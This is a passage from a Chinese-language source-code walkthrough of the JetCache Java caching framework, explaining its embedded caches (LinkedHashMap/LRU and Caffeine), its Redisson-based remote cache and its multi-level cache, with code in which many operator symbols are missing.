CacheGetResultV resultMap new HashMap();for (int i 0; i keyList.size(); i) {K key keyList.get(i);Object newKey newKeyList.get(i);CacheValueHolderV holder innerResultMap.get(newKey);resultMap.put(key, parseHolderResult(holder));}MultiGetResultK, V result new MultiGetResult(CacheResultCode.SUCCESS, null, resultMap);return result;}/*** 向缓存中放入一个键值对设置过期时间。* * param key 键。* param value 值。* param expireAfterWrite 缓存项的写入过期时间。* param timeUnit 时间单位。* return CacheResult 描述操作结果的对象。*/Overrideprotected CacheResult do_PUT(K key, V value, long expireAfterWrite, TimeUnit timeUnit) {CacheValueHolderV cacheObject new CacheValueHolder(value ,timeUnit.toMillis(expireAfterWrite));innerMap.putValue(buildKey(key), cacheObject);return CacheResult.SUCCESS_WITHOUT_MSG;}/*** 批量放入缓存项。* * param map 键值对的映射。* param expireAfterWrite 缓存项的写入过期时间。* param timeUnit 时间单位。* return CacheResult 描述操作结果的对象。*/Overrideprotected CacheResult do_PUT_ALL(Map? extends K, ? extends V map, long expireAfterWrite, TimeUnit timeUnit) {HashMap newKeyMap new HashMap();for (Map.Entry? extends K, ? extends V en : map.entrySet()) {CacheValueHolderV cacheObject new CacheValueHolder(en.getValue(), timeUnit.toMillis(expireAfterWrite));newKeyMap.put(buildKey(en.getKey()), cacheObject);}innerMap.putAllValues(newKeyMap);final HashMap resultMap new HashMap();map.keySet().forEach((k) - resultMap.put(k, CacheResultCode.SUCCESS));return CacheResult.SUCCESS_WITHOUT_MSG;}/*** 从缓存中移除指定键的项。* * param key 键。* return CacheResult 描述操作结果的对象。*/Overrideprotected CacheResult do_REMOVE(K key) {innerMap.removeValue(buildKey(key));return CacheResult.SUCCESS_WITHOUT_MSG;}/*** 批量移除缓存项。* * param keys 键的集合。* return CacheResult 描述操作结果的对象。*/Overrideprotected CacheResult do_REMOVE_ALL(Set? extends K keys) {Set newKeys keys.stream().map((key) - buildKey(key)).collect(Collectors.toSet());innerMap.removeAllValues(newKeys);return CacheResult.SUCCESS_WITHOUT_MSG;}// 内部方法用于彻底清除指定键的缓存项public void __removeAll(Set? extends K keys) {innerMap.removeAllValues(keys);}/*** 如果指定键的缓存项不存在则放入该键值对并设置过期时间。* * param key 键。* param value 值。* param expireAfterWrite 缓存项的写入过期时间。* param timeUnit 时间单位。* return CacheResult 描述操作结果的对象。*/Overrideprotected CacheResult do_PUT_IF_ABSENT(K key, V value, long expireAfterWrite, TimeUnit timeUnit) {CacheValueHolderV cacheObject new CacheValueHolder(value, timeUnit.toMillis(expireAfterWrite));if (innerMap.putIfAbsentValue(buildKey(key), cacheObject)) {return CacheResult.SUCCESS_WITHOUT_MSG;} else {return CacheResult.EXISTS_WITHOUT_MSG;}} }在上面的函数中抽象函数createAreaCache()创建内部映射实例innerMap用于缓存数据do_GET、do_GET_ALL、do_PUT、do_PUT_ALL、do_REMOVE、do_REMOVE_ALL等方法都是基于innerMap实例来实现缓存数据的增删改查的。缓存数据时会构建CacheValueHolder实例用于保存缓存的数值、缓存创建时间和到期时间。之所以要缓存数据的过期时间是便于框架在缓存数据过期后可以及时的将缓存数据从内存中清除出去。 InnerMap是JetCache专为内存缓存定义的通用缓存处理接口源码如下 /*** InnerMap 接口定义了一套操作映射数据的方法包括获取值、存储值、移除值等操作。*/ public interface InnerMap {/*** 通过键获取对应的值。* * param key 用于获取值的键。* return 键对应的值如果不存在则返回 null。*/Object getValue(Object key);/*** 通过键的集合获取所有对应的值。* * param keys 键的集合。* return 一个映射包含给定键集合中每个键对应的值。*/Map getAllValues(Collection keys);/*** 为指定的键存储一个值。* * param key 要存储值的键。* param value 键对应的值。*/void putValue(Object key, Object value);/*** 从映射中批量添加键值对。* * param map 包含要添加的键值对的映射。*/void putAllValues(Map map);/*** 移除指定键对应的值。* * param key 要移除的键。* return 如果成功移除返回 true如果键不存在返回 false。*/boolean removeValue(Object key);/*** 如果指定键不存在则添加该键对应的值。* * param key 要添加值的键。* param value 键对应的值。* return 如果成功添加返回 true如果键已存在返回 false。*/boolean putIfAbsentValue(Object key, Object value);/*** 移除指定键集合中所有键对应的值。* * param keys 要移除的键的集合。*/void removeAllValues(Collection keys); }LinkedHashMapCache和CaffeineCache类继承自AbstractEmbeddedCache主要是实现抽象函数createAreaCache()创建内部映射InnerMap的实例。 LinkedHashMapCache LinkedHashMapCache是一个基于 LinkedHashMap 的缓存实现类继承自 AbstractEmbeddedCache。  它通过 LRUMap 最近最少使用算法来管理缓存项支持缓存过期清理。LinkedHashMapCache的源码如下 /*** LinkedHashMapCache是一个基于 LinkedHashMap 的缓存实现类继承自 AbstractEmbeddedCache。* 它通过 LRUMap 最近最少使用算法来管理缓存项支持缓存过期清理。** param K 缓存键的类型* param V 缓存值的类型*/ public class LinkedHashMapCacheK, V extends AbstractEmbeddedCacheK, V {private static Logger logger LoggerFactory.getLogger(LinkedHashMapCache.class);/*** 构造函数初始化缓存。** param config 缓存配置包含缓存大小等设置。*/public LinkedHashMapCache(EmbeddedCacheConfigK, V config) {super(config);addToCleaner(); // 将当前缓存实例添加到缓存清理器中以便定期清理。}/*** 将当前缓存实例添加到缓存清理器。*/protected void addToCleaner() {Cleaner.add(this);}/*** 创建一个新的缓存区域实际是一个 LRUMap 实例。** return InnerMap 实例用于存储缓存项。*/Overrideprotected InnerMap createAreaCache() {return new LRUMap(config.getLimit());}/*** 将当前缓存实例转换为指定类型的对象。* * param clazz 需要转换成的目标类类型。* return 转换后的对象实例如果无法转换则抛出异常。* throws IllegalArgumentException 如果指定的类不是 LinkedHashMap 类型则抛出此异常。*/Overridepublic T T unwrap(ClassT clazz) {if (clazz.equals(LinkedHashMap.class)) {return (T) innerMap;}throw new IllegalArgumentException(clazz.getName());}/*** 清理已经过期的缓存项。*/public void cleanExpiredEntry() {((LRUMap) innerMap).cleanExpiredEntry();}/*** LRUMap 是一个基于 LinkedHashMap 实现的缓存映射支持 LRU 算法和缓存过期机制。*/final class LRUMap extends LinkedHashMap implements InnerMap {private final int max; // 缓存最大容量private final ReentrantReadWriteLock readWriteLock new ReentrantReadWriteLock(); // 读写锁用于并发控制/*** 构造函数初始化 LRUMap。** param max 缓存的最大容量。*/public LRUMap(int max) {super((int) (max * 1.4f), 0.75f, true); // 调整 LinkedHashMap 的构造参数以适应 LRU 策略this.max max;}/*** 当缓存项数量超过最大容量时移除最老的缓存项。** param eldest 被考虑移除的最老缓存项。* return 返回 true 如果最老缓存项被移除否则返回 false。*/Overrideprotected boolean removeEldestEntry(Map.Entry eldest) {return size() max;}/*** 获取指定键的缓存值支持并发控制。** param key 缓存项的键。* return 返回对应键的缓存值如果不存在则返回 null。*/Overridepublic Object getValue(Object key) {Lock lock readWriteLock.readLock();lock.lock();try{return get(key);}finally {lock.unlock();}}/*** 获取多个键对应的缓存值支持并发控制。** param keys 缓存项的键集合。* return 返回一个映射包含所有指定键的缓存值如果键不存在则对应值为 null。*/Overridepublic Map getAllValues(Collection keys) {Lock lock readWriteLock.readLock();lock.lock();Map values new HashMap();try{for (Object key : keys) {Object v get(key);if (v ! null) {values.put(key, v);}}}finally {lock.unlock();}return values;}/*** 添加或更新一个缓存项支持并发控制。** param key 缓存项的键。* param value 缓存项的值。*/Overridepublic void putValue(Object key, Object value) {Lock lock readWriteLock.writeLock();lock.lock();try{put(key, value);}finally {lock.unlock();}}/*** 批量添加或更新多个缓存项支持并发控制。** param map 包含要添加或更新的缓存项的键值对集合。*/Overridepublic void putAllValues(Map map) {Lock lock readWriteLock.writeLock();lock.lock();try{SetMap.Entry set map.entrySet();for (Map.Entry en : set) {put(en.getKey(), en.getValue());}}finally {lock.unlock();}}/*** 移除指定键的缓存项支持并发控制。** param key 缓存项的键。* return 如果缓存项被成功移除返回 true否则返回 false。*/Overridepublic boolean removeValue(Object key) {Lock lock readWriteLock.writeLock();lock.lock();try{return remove(key) ! null;}finally {lock.unlock();}}/*** 移除多个键对应的缓存项支持并发控制。** param keys 缓存项的键集合。*/Overridepublic void removeAllValues(Collection keys) {Lock lock readWriteLock.writeLock();lock.lock();try{for (Object k : keys) {remove(k);}}finally {lock.unlock();}}/*** 如果指定键的缓存项不存在或已过期则添加新的缓存项支持并发控制。** param key 缓存项的键。* param value 缓存项的值。* return 如果新的缓存项被成功添加则返回 true否则返回 false。*/OverrideSuppressWarnings(unchecked)public boolean putIfAbsentValue(Object key, Object value) {Lock lock readWriteLock.writeLock();lock.lock();try{CacheValueHolder h (CacheValueHolder) get(key);if (h null || parseHolderResult(h).getResultCode() CacheResultCode.EXPIRED) {put(key, value);return true;} else {return false;}}finally {lock.unlock();}}} }LinkedHashMapCache创建的InnerMap实例类型是LRUMapLRUMap继承自LinkedHashMap类并实现了InnerMap接口由于LinkedHashMap可以维护插入顺序或访问顺序两种有序性其中访问顺序指put和get操作已存在的Entry时会将Entry移动到双向链表的表尾。 LRUMap重写了父类LinkedHashMap的removeEldestEntry函数当缓存项数量超过最大容量时移除最老的缓存项。可以看一下父类LinkedHashMap的afterNodeInsertion函数该函数在removeEldestEntry返回true时会删除链表的表头。源码如下 void afterNodeInsertion(boolean evict) { // possibly remove eldestLinkedHashMap.EntryK,V first;if (evict (first head) ! null removeEldestEntry(first)) {K key first.key;removeNode(hash(key), key, null, false, true);}} 由于LinkedHashMap的方法put和get操作已存在的Entry时会将Entry移动到双向链表的表尾。则最近最少使用的缓存项自然而然的就被移动到双向链表的表头了。从字面理解afterNodeInsertion是指LinkedHashMap中节点插入的后置函数在HashMap的源码中put、merge、compute和computeIfAbsent函数的最后会调用afterNodeInsertion函数。 现在看到的是当向缓存LinkedHashMap中写入缓存数据且缓存项大于LinkedHashMap的最大容量时才会删除最近最少使用的缓存数据。对于已经到期的缓存数据是在什么时候删除的呢我们注意到addToCleaner函数会将当前的LinkedHashMapCache添加到缓存清理器中缓存清理器Cleaner的功能就是定时的将已经过期的缓存数据从内存中清除掉。Cleaner源码如下 class Cleaner {static LinkedListWeakReferenceLinkedHashMapCache linkedHashMapCaches new LinkedList();private static final ReentrantLock reentrantLock new ReentrantLock();static {ScheduledExecutorService executorService JetCacheExecutor.defaultExecutor();executorService.scheduleWithFixedDelay(() - run(), 60, 60, TimeUnit.SECONDS);}static void add(LinkedHashMapCache cache) {reentrantLock.lock();try{linkedHashMapCaches.add(new WeakReference(cache));}finally {reentrantLock.unlock();}}static void run() {reentrantLock.lock();try{IteratorWeakReferenceLinkedHashMapCache it linkedHashMapCaches.iterator();while (it.hasNext()) {WeakReferenceLinkedHashMapCache ref it.next();LinkedHashMapCache c ref.get();if (c null) {it.remove();} else {c.cleanExpiredEntry();}}}finally {reentrantLock.unlock();}}} Cleaner会每隔60秒钟调用所有LinkedHashMapCache实例的cleanExpiredEntry函数来清空已经到期的缓存数据。函数cleanExpiredEntry的源码如下 public void cleanExpiredEntry() {((LRUMap) innerMap).cleanExpiredEntry();}上面的函数会调用LRUMap类的cleanExpiredEntry函数来清空已经到期的缓存数据cleanExpiredEntry源码如下 /*** 清理已经过期的缓存项。*/void cleanExpiredEntry() {Lock lock readWriteLock.writeLock();lock.lock();try{// 遍历缓存项移除所有过期的缓存。for (Iterator it entrySet().iterator(); it.hasNext();) {Map.Entry en (Map.Entry) it.next();Object value en.getValue();if (value ! null value instanceof CacheValueHolder) {CacheValueHolder h (CacheValueHolder) value;if (System.currentTimeMillis() h.getExpireTime()) {it.remove();}} else {// 如果缓存项为空或不是 CacheValueHolder 类型则记录错误。if (value null) {logger.error(key en.getKey() is null);} else {logger.error(value of key en.getKey() is not a CacheValueHolder. type value.getClass());}}}}finally {lock.unlock();}} cleanExpiredEntry函数会轮询当前LinkedHashMap实例中的所有缓存数据然后将已经过期的数据移除。 关于LinkedHashMapCache的设计还存在问题在发现缓存数据已到期时并没有及时的将其移除。由于间隔时间是60秒在短时间内当有大量的缓存数据进行读写时可能会存在部分读频繁的数据已经过期而部分未到期且读写不频繁的数据就会被移到双向列表的表头一旦缓存数据量超过最大容量就会把未到期的数据给清了。 CaffeineCache 基于Caffeine实现的缓存类扩展自AbstractEmbeddedCache提供了缓存管理的功能。源码如下 /*** 基于Caffeine实现的缓存类扩展自AbstractEmbeddedCache提供了缓存管理的功能。*/ public class CaffeineCacheK, V extends AbstractEmbeddedCacheK, V {// Caffeine缓存实例private com.github.benmanes.caffeine.cache.Cache cache;/*** 构造函数初始化Caffeine缓存。* * param config 缓存配置信息包含缓存大小、过期时间等配置。*/public CaffeineCache(EmbeddedCacheConfigK, V config) {super(config);}/*** 将当前缓存实例转换为指定类型的缓存接口。* * param clazz 需要转换的目标缓存接口的Class对象。* return 转换后的缓存实例如果无法转换则抛出IllegalArgumentException。* throws IllegalArgumentException 当指定的类不是com.github.benmanes.caffeine.cache.Cache时抛出。*/Overridepublic T T unwrap(ClassT clazz) {if (clazz.equals(com.github.benmanes.caffeine.cache.Cache.class)) {return (T) cache;}throw new IllegalArgumentException(clazz.getName());}/*** 创建缓存区域配置缓存的大小、过期策略等。* * return 内部映射接口提供了对缓存操作的方法。*/OverrideSuppressWarnings(unchecked)protected InnerMap createAreaCache() {// 基于配置初始化Caffeine缓存构建器CaffeineObject, Object builder Caffeine.newBuilder();builder.maximumSize(config.getLimit()); // 设置缓存最大大小// 配置缓存过期策略final boolean isExpireAfterAccess config.isExpireAfterAccess(); // 是否按访问时间过期final long expireAfterAccess config.getExpireAfterAccessInMillis(); // 访问过期时间builder.expireAfter(new ExpiryObject, CacheValueHolder() {// 计算过期时间的方法private long getRestTimeInNanos(CacheValueHolder value) {long now System.currentTimeMillis();long ttl value.getExpireTime() - now;if(isExpireAfterAccess){ttl Math.min(ttl, expireAfterAccess);}return TimeUnit.MILLISECONDS.toNanos(ttl);}Overridepublic long expireAfterCreate(Object key, CacheValueHolder value, long currentTime) {return getRestTimeInNanos(value);}Overridepublic long expireAfterUpdate(Object key, CacheValueHolder value,long currentTime, long currentDuration) {return currentDuration;}Overridepublic long expireAfterRead(Object key, CacheValueHolder value,long currentTime, long currentDuration) {return getRestTimeInNanos(value);}});// 构建并初始化缓存cache builder.build();// 返回一个内部映射提供了基本的缓存操作接口return new InnerMap() {Overridepublic Object getValue(Object key) {return cache.getIfPresent(key);}Overridepublic Map getAllValues(Collection keys) {return cache.getAllPresent(keys);}Overridepublic void putValue(Object key, Object value) {cache.put(key, value);}Overridepublic void putAllValues(Map map) {cache.putAll(map);}Overridepublic boolean removeValue(Object key) {return cache.asMap().remove(key) ! null;}Overridepublic void removeAllValues(Collection keys) {cache.invalidateAll(keys);}Overridepublic boolean putIfAbsentValue(Object key, Object value) {return cache.asMap().putIfAbsent(key, value) null;}};} }CaffeineCache的代码相对比较简单在JetCache中内存缓存推荐使用Caffeine性能相对LinkedHashMap更快官方的Caffeine性能测试结果如下 上面的结果仅仅是Caffeine官方提供的参考详细可以到Caffeine官方上查看。 远程缓存 由于MemoryCache逐渐被Redis所取代且Redis相对更加通用所以JetCache目前支持的远程缓存是Redis。鉴于信创的需求已经有多家国产公司开发出可以替代Redis的内存缓存系统如阿里巴巴的Tair东方通的TongRDS等不确定JetCache后续会不会支持其他内存缓存系统。 JetCache通过引入lettuce、redisson和spring-data-redis中间件来实现Redis缓存的操作如果要支持阿里巴巴的Tair东方通的TongRDS等相对也比较简单。 AbstractExternalCache 抽象外部缓存类扩展自AbstractCache提供了缓存配置、键的转换和构建、以及配置检查等功能。源码如下 /*** 抽象外部缓存类扩展自AbstractCache提供了缓存配置、键的转换和构建、以及配置检查等功能。* param K 键的类型* param V 值的类型*/ public abstract class AbstractExternalCacheK, V extends AbstractCacheK, V {private ExternalCacheConfigK, V config; // 缓存配置对象/*** 构造函数初始化外部缓存配置。* param config 外部缓存的配置不可为null。*/public AbstractExternalCache(ExternalCacheConfigK, V config) {this.config config;checkConfig(); // 检查配置的合法性}/*** 配置检查方法确保必要的配置项已经设置。*/protected void checkConfig() {// 检查值编码器、解码器和键前缀是否已设置未设置则抛出异常if (config.getValueEncoder() null) {throw new CacheConfigException(no value encoder);}if (config.getValueDecoder() null) {throw new CacheConfigException(no value decoder);}if (config.getKeyPrefix() null) {throw new CacheConfigException(keyPrefix is required);}}/*** 构建缓存键。* param key 用户提供的键可能需要转换。* return 经过转换和组合前缀后的缓存键字节数组。* throws CacheException 如果构建过程发生异常。*/public byte[] buildKey(K key) {try {Object newKey key; // 初始化为原始键if (config.getKeyConvertor() ! null) {// 根据版本适配不同的键转换逻辑if (config.getKeyConvertor() instanceof KeyConvertor) {if (!isPreservedKey(key)) {newKey config.getKeyConvertor().apply(key);}} else {// 旧版本的键转换处理if (key instanceof byte[]) {newKey key;} else if (key instanceof String) {newKey key;} else {newKey config.getKeyConvertor().apply(key);}}}// 构建最终的键return ExternalKeyUtil.buildKeyAfterConvert(newKey, config.getKeyPrefix());} catch (IOException e) {throw new CacheException(e);}}/*** 判断键是否被保留不进行转换。* param key 原始键。* return 如果键是保留键如锁键或时间戳键则返回true否则返回false。*/private boolean isPreservedKey(Object key) {if (key instanceof byte[]) {byte[] keyBytes (byte[]) key;// 判断键是否以特定后缀结尾决定是否转换return endWith(keyBytes, RefreshCache.LOCK_KEY_SUFFIX)|| endWith(keyBytes, RefreshCache.TIMESTAMP_KEY_SUFFIX);}return false;}/*** 判断字节数组是否以指定的后缀结尾。* param key 待检查的字节数组。* param suffix 指定的后缀字节数组。* return 如果key以suffix结尾返回true否则返回false。*/private boolean endWith(byte[] key, byte[] suffix) {int len suffix.length;if (key.length len) {return false;}int startPos key.length - len;// 比较key的后缀与suffix是否相同for (int i 0; i len; i) {if (key[startPos i] ! suffix[i]) {return false;}}return true;}}RedissonCache /*** 基于Redisson客户端实现的缓存类继承自AbstractExternalCache提供了缓存的基本操作。** param K 键的类型* param V 值的类型*/ public class RedissonCacheK, V extends AbstractExternalCacheK, V {private final RedissonClient client; // Redisson客户端实例private final RedissonCacheConfigK, V config; // 缓存配置private final FunctionObject, byte[] valueEncoder; // 值编码器private final Functionbyte[], Object valueDecoder; // 值解码器/*** 构造函数初始化Redisson缓存。** param config 缓存配置包含Redisson客户端、值编码器和值解码器等配置项。*/public RedissonCache(final RedissonCacheConfigK, V config) {super(config);this.config config;this.client config.getRedissonClient();this.valueEncoder config.getValueEncoder();this.valueDecoder config.getValueDecoder();}/*** 获取缓存键的字符串形式。** param key 缓存的键。* return 键的字符串形式。*/protected String getCacheKey(final K key) {final byte[] newKey buildKey(key);return new String(newKey, StandardCharsets.UTF_8);}/*** 获取缓存配置。** return 缓存配置。*/Overridepublic CacheConfigK, V config() {return this.config;}/*** 不支持unwrap操作。** param clazz 需要转换成的类类型。* throws UnsupportedOperationException 永远抛出此异常表示不支持unwrap操作。*/Overridepublic T T unwrap(final ClassT clazz) {throw new UnsupportedOperationException(RedissonCache does not support unwrap);}/*** 获取Redisson使用的Codec。** return 返回ByteArrayCodec实例。*/private Codec getCodec() {return ByteArrayCodec.INSTANCE;}/*** 编码缓存值。** param holder 缓存值持有者。* return 编码后的值。*/private byte[] encoder(final CacheValueHolderV holder) {if (Objects.nonNull(holder)) {return valueEncoder.apply(holder);}return null;}/*** 解码缓存值。** param key 缓存的键。* param data 缓存的数据。* param counter 解码尝试的次数。* return 解码后的缓存值持有者。*/SuppressWarnings({unchecked})private CacheValueHolderV decoder(final K key, final byte[] data, final int counter) {CacheValueHolderV holder null;if (Objects.nonNull(data) data.length 0) {try {holder (CacheValueHolderV) valueDecoder.apply(data);} catch (CacheEncodeException e) {holder compatibleOldVal(key, data, counter 1);if(Objects.isNull(holder)){logError(decoder, key, e);}} catch (Throwable e) {logError(decoder, key, e);}}return holder;}/*** 简化版的解码缓存值不传入尝试次数。** param key 缓存的键。* param data 缓存的数据。* return 解码后的缓存值持有者。*/private CacheValueHolderV decoder(final K key, final byte[] data) {return decoder(key, data, 0);}/*** 兼容旧版本值的解码。** param key 缓存的键。* param data 缓存的数据。* param counter 解码尝试的次数。* return 兼容旧版本后的缓存值持有者。*/private CacheValueHolderV compatibleOldVal(final K key, final byte[] data, final int counter) {if (Objects.nonNull(key) Objects.nonNull(data) data.length 0 counter 1) {try {final Codec codec this.client.getConfig().getCodec();if (Objects.nonNull(codec)) {final Class? cls ByteArrayCodec.class;if (codec.getClass() ! cls) {final ByteBuf in ByteBufAllocator.DEFAULT.buffer().writeBytes(data);final byte[] out (byte[]) codec.getValueDecoder().decode(in, null);return decoder(key, out, counter);}}} catch (Throwable e) {logError(compatibleOldVal, key, e);}}return null;}/*** 获取缓存项。** param key 缓存的键。* return 缓存获取结果包含缓存状态和值如果存在。*/OverrideSuppressWarnings({unchecked})protected CacheGetResultV do_GET(final K key) {try {final RBucketbyte[] rb this.client.getBucket(getCacheKey(key), getCodec());final CacheValueHolderV holder decoder(key, rb.get());if (Objects.nonNull(holder)) {final long now System.currentTimeMillis(), expire holder.getExpireTime();if (expire 0 now expire) {return CacheGetResult.EXPIRED_WITHOUT_MSG;}return new CacheGetResult(CacheResultCode.SUCCESS, null, holder);}return CacheGetResult.NOT_EXISTS_WITHOUT_MSG;} catch (Throwable e) {logError(GET, key, e);return new CacheGetResult(e);}}/*** 批量获取缓存项。** param keys 缓存的键集合。* return 缓存批量获取结果包含每个键的获取状态和值如果存在。*/OverrideSuppressWarnings({unchecked})protected MultiGetResultK, V do_GET_ALL(final Set? extends K keys) {try {final MapK, CacheGetResultV retMap new HashMap(1 4);if (Objects.nonNull(keys) !keys.isEmpty()) {final MapK, String keyMap new HashMap(keys.size());keys.stream().filter(Objects::nonNull).forEach(k - {final String key getCacheKey(k);if (Objects.nonNull(key)) {keyMap.put(k, key);}});if (!keyMap.isEmpty()) {final MapString, byte[] kvMap this.client.getBuckets(getCodec()).get(keyMap.values().toArray(new String[0]));final long now System.currentTimeMillis();for (K k : keys) {final String key keyMap.get(k);if (Objects.nonNull(key) Objects.nonNull(kvMap)) {final CacheValueHolderV holder decoder(k, kvMap.get(key));if (Objects.nonNull(holder)) {final long expire holder.getExpireTime();final CacheGetResultV ret (expire 0 now expire) ? CacheGetResult.EXPIRED_WITHOUT_MSG :new CacheGetResult(CacheResultCode.SUCCESS, null, holder);retMap.put(k, ret);continue;}}retMap.put(k, CacheGetResult.NOT_EXISTS_WITHOUT_MSG);}}}return new MultiGetResult(CacheResultCode.SUCCESS, null, retMap);} catch (Throwable e) {logError(GET_ALL, keys( (Objects.nonNull(keys) ? keys.size() : 0) ), e);return new MultiGetResult(e);}}/*** 添加缓存项。** param key 缓存的键。* param value 缓存的值。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 过期时间的单位。* return 缓存操作结果。*/Overrideprotected CacheResult do_PUT(final K key, final V value, final long expireAfterWrite, final TimeUnit timeUnit) {try {final CacheValueHolderV holder new CacheValueHolder(value, timeUnit.toMillis(expireAfterWrite));this.client.getBucket(getCacheKey(key), getCodec()).set(encoder(holder), expireAfterWrite, timeUnit);return CacheGetResult.SUCCESS_WITHOUT_MSG;} catch (Throwable e) {logError(PUT, key, e);return new CacheResult(e);}}/*** 批量添加缓存项。** param map 键值对映射。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 过期时间的单位。* return 缓存操作结果。*/Overrideprotected CacheResult do_PUT_ALL(final Map? extends K, ? extends V map, final long expireAfterWrite, final TimeUnit timeUnit) {try {if (Objects.nonNull(map) !map.isEmpty()) {final long expire timeUnit.toMillis(expireAfterWrite);final RBatch batch this.client.createBatch();map.forEach((k, v) - {final CacheValueHolderV holder new CacheValueHolder(v, expire);batch.getBucket(getCacheKey(k), getCodec()).setAsync(encoder(holder), expireAfterWrite, timeUnit);});batch.execute();}return CacheResult.SUCCESS_WITHOUT_MSG;} catch (Throwable e) {logError(PUT_ALL, map( map.size() ), e);return new CacheResult(e);}}/*** 删除缓存项。** param key 缓存的键。* return 缓存操作结果。*/Overrideprotected CacheResult do_REMOVE(final K key) {try {final boolean ret this.client.getBucket(getCacheKey(key), getCodec()).delete();return ret ? CacheResult.SUCCESS_WITHOUT_MSG : CacheResult.FAIL_WITHOUT_MSG;} catch (Throwable e) {logError(REMOVE, key, e);return new CacheResult(e);}}/*** 批量删除缓存项。** param keys 缓存的键集合。* return 缓存操作结果。*/Overrideprotected CacheResult do_REMOVE_ALL(final Set? extends K keys) {try {if (Objects.nonNull(keys) !keys.isEmpty()) {final RBatch batch this.client.createBatch();keys.forEach(key - batch.getBucket(getCacheKey(key), getCodec()).deleteAsync());batch.execute();}return CacheResult.SUCCESS_WITHOUT_MSG;} catch (Throwable e) {logError(REMOVE_ALL, keys( keys.size() ), e);return new CacheResult(e);}}/*** 在缓存中添加一个键值对如果该键不存在。此操作等同于 PUT 操作但仅当指定的键不存在时才执行。* 如果键已存在则不进行任何操作并返回表示操作失败的 CacheResult。* * param key 缓存中的键不可为 null。* param value 缓存中的值不可为 null。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 缓存项的过期时间单位。* return 返回一个 CacheResult 对象表示操作的结果。成功且键不存在时返回 SUCCESS_WITHOUT_MSG键已存在时返回 EXISTS_WITHOUT_MSG操作失败时返回包含错误信息的 CacheResult。*/Overrideprotected CacheResult do_PUT_IF_ABSENT(final K key, final V value, final long expireAfterWrite, final TimeUnit timeUnit) {try {// 将过期时间转换为毫秒并创建 CacheValueHolder 对象final Duration expire Duration.ofMillis(timeUnit.toMillis(expireAfterWrite));final CacheValueHolderV holder new CacheValueHolder(value, expire.toMillis());// 尝试在缓存中设置键值对如果键不存在则设置成功final boolean success this.client.getBucket(getCacheKey(key), getCodec()).setIfAbsent(encoder(holder), expire);// 根据操作结果返回相应的 CacheResultreturn success ? CacheResult.SUCCESS_WITHOUT_MSG : CacheResult.EXISTS_WITHOUT_MSG;} catch (Throwable e) {// 记录操作失败的日志logError(PUT_IF_ABSENT, key, e);// 返回包含错误信息的 CacheResultreturn new CacheResult(e);}}多级缓存 多级缓存是指内存缓存远程缓存操作时先操作内存缓存然后再操作远程缓存。例如查询缓存数据时先从内存缓存中获取数据如果不存在才会从远程缓存中获取数据。增删改缓存数据时会同时修改内存缓存和远程缓存的数据。 MultiLevelCache MultiLevelCache类的属性private Cache[] caches的第一个Cache实例是内存缓存实例第二个Cache实例是远程缓存实例。在缓存的增删改查操作时会分别对caches中的Cache实例进行增删改查处理。源码如下 /*** 多级缓存类继承自AbstractCache支持多级缓存策略。* * param K 键的类型* param V 值的类型*/ public class MultiLevelCacheK, V extends AbstractCacheK, V {private Cache[] caches; // 缓存数组private MultiLevelCacheConfigK, V config; // 多级缓存配置/*** 已弃用的构造函数使用可变参数初始化多级缓存。* * param caches 缓存实例数组* throws CacheConfigException 配置异常*/SuppressWarnings(unchecked)Deprecatedpublic MultiLevelCache(Cache... caches) throws CacheConfigException {this.caches caches;checkCaches();CacheConfig lastConfig caches[caches.length - 1].config();config new MultiLevelCacheConfig();config.setCaches(Arrays.asList(caches));config.setExpireAfterWriteInMillis(lastConfig.getExpireAfterWriteInMillis());config.setCacheNullValue(lastConfig.isCacheNullValue());}/*** 使用多级缓存配置构造函数。* * param cacheConfig 多级缓存配置* throws CacheConfigException 配置异常*/SuppressWarnings(unchecked)public MultiLevelCache(MultiLevelCacheConfigK, V cacheConfig) throws CacheConfigException {this.config cacheConfig;this.caches cacheConfig.getCaches().toArray(new Cache[]{});checkCaches();}/*** 检查缓存配置是否合法。*/private void checkCaches() {if (caches null || caches.length 0) {throw new IllegalArgumentException();}for (Cache c : caches) {if (c.config().getLoader() ! null) {throw new CacheConfigException(Loader on sub cache is not allowed, set the loader into MultiLevelCache.);}}}/*** 获取缓存数组。* * return 缓存数组*/public Cache[] caches() {return caches;}/*** 获取缓存配置。* * return 多级缓存配置*/Overridepublic MultiLevelCacheConfigK, V config() {return config;}/*** 存储键值对到缓存中。* * param key 键* param value 值* return 缓存操作结果*/Overridepublic CacheResult PUT(K key, V value) {if (config.isUseExpireOfSubCache()) {return PUT(key, value, 0, null);} else {return PUT(key, value, config().getExpireAfterWriteInMillis(), TimeUnit.MILLISECONDS);}}/*** 批量存储键值对到缓存中。* * param map 键值对映射* return 缓存操作结果*/Overridepublic CacheResult PUT_ALL(Map? extends K, ? extends V map) {if (config.isUseExpireOfSubCache()) {return PUT_ALL(map, 0, null);} else {return PUT_ALL(map, config().getExpireAfterWriteInMillis(), TimeUnit.MILLISECONDS);}}/*** 从缓存中获取值。* * param key 键* return 值获取结果*/Overrideprotected CacheGetResultV do_GET(K key) {for (int i 0; i caches.length; i) {Cache cache caches[i];CacheGetResult result cache.GET(key);if (result.isSuccess()) {CacheValueHolderV holder unwrapHolder(result.getHolder());checkResultAndFillUpperCache(key, i, holder);return new CacheGetResult(CacheResultCode.SUCCESS, null, holder);}}return CacheGetResult.NOT_EXISTS_WITHOUT_MSG;}/*** 解包缓存值持有者。* * param h 缓存值持有者* return 解包后的缓存值持有者*/private CacheValueHolderV unwrapHolder(CacheValueHolderV h) {Objects.requireNonNull(h);if (h.getValue() instanceof CacheValueHolder) {return (CacheValueHolderV) h.getValue();} else {return h;}}/*** 检查获取结果并填充上级缓存。* * param key 键* param i 缓存索引* param h 缓存值持有者*/private void checkResultAndFillUpperCache(K key, int i, CacheValueHolderV h) {Objects.requireNonNull(h);long currentExpire h.getExpireTime();long now System.currentTimeMillis();if (now currentExpire) {if(config.isUseExpireOfSubCache()){PUT_caches(i, key, h.getValue(), 0, null);} else {long restTtl currentExpire - now;if (restTtl 0) {PUT_caches(i, key, h.getValue(), restTtl, TimeUnit.MILLISECONDS);}}}}/*** 批量获取缓存值。* * param keys 键集合* return 缓存批量获取结果*/Overrideprotected MultiGetResultK, V do_GET_ALL(Set? extends K keys) {HashMapK, CacheGetResultV resultMap new HashMap();SetK restKeys new HashSet(keys);for (int i 0; i caches.length; i) {if (restKeys.size() 0) {break;}CacheK, CacheValueHolderV c caches[i];MultiGetResultK, 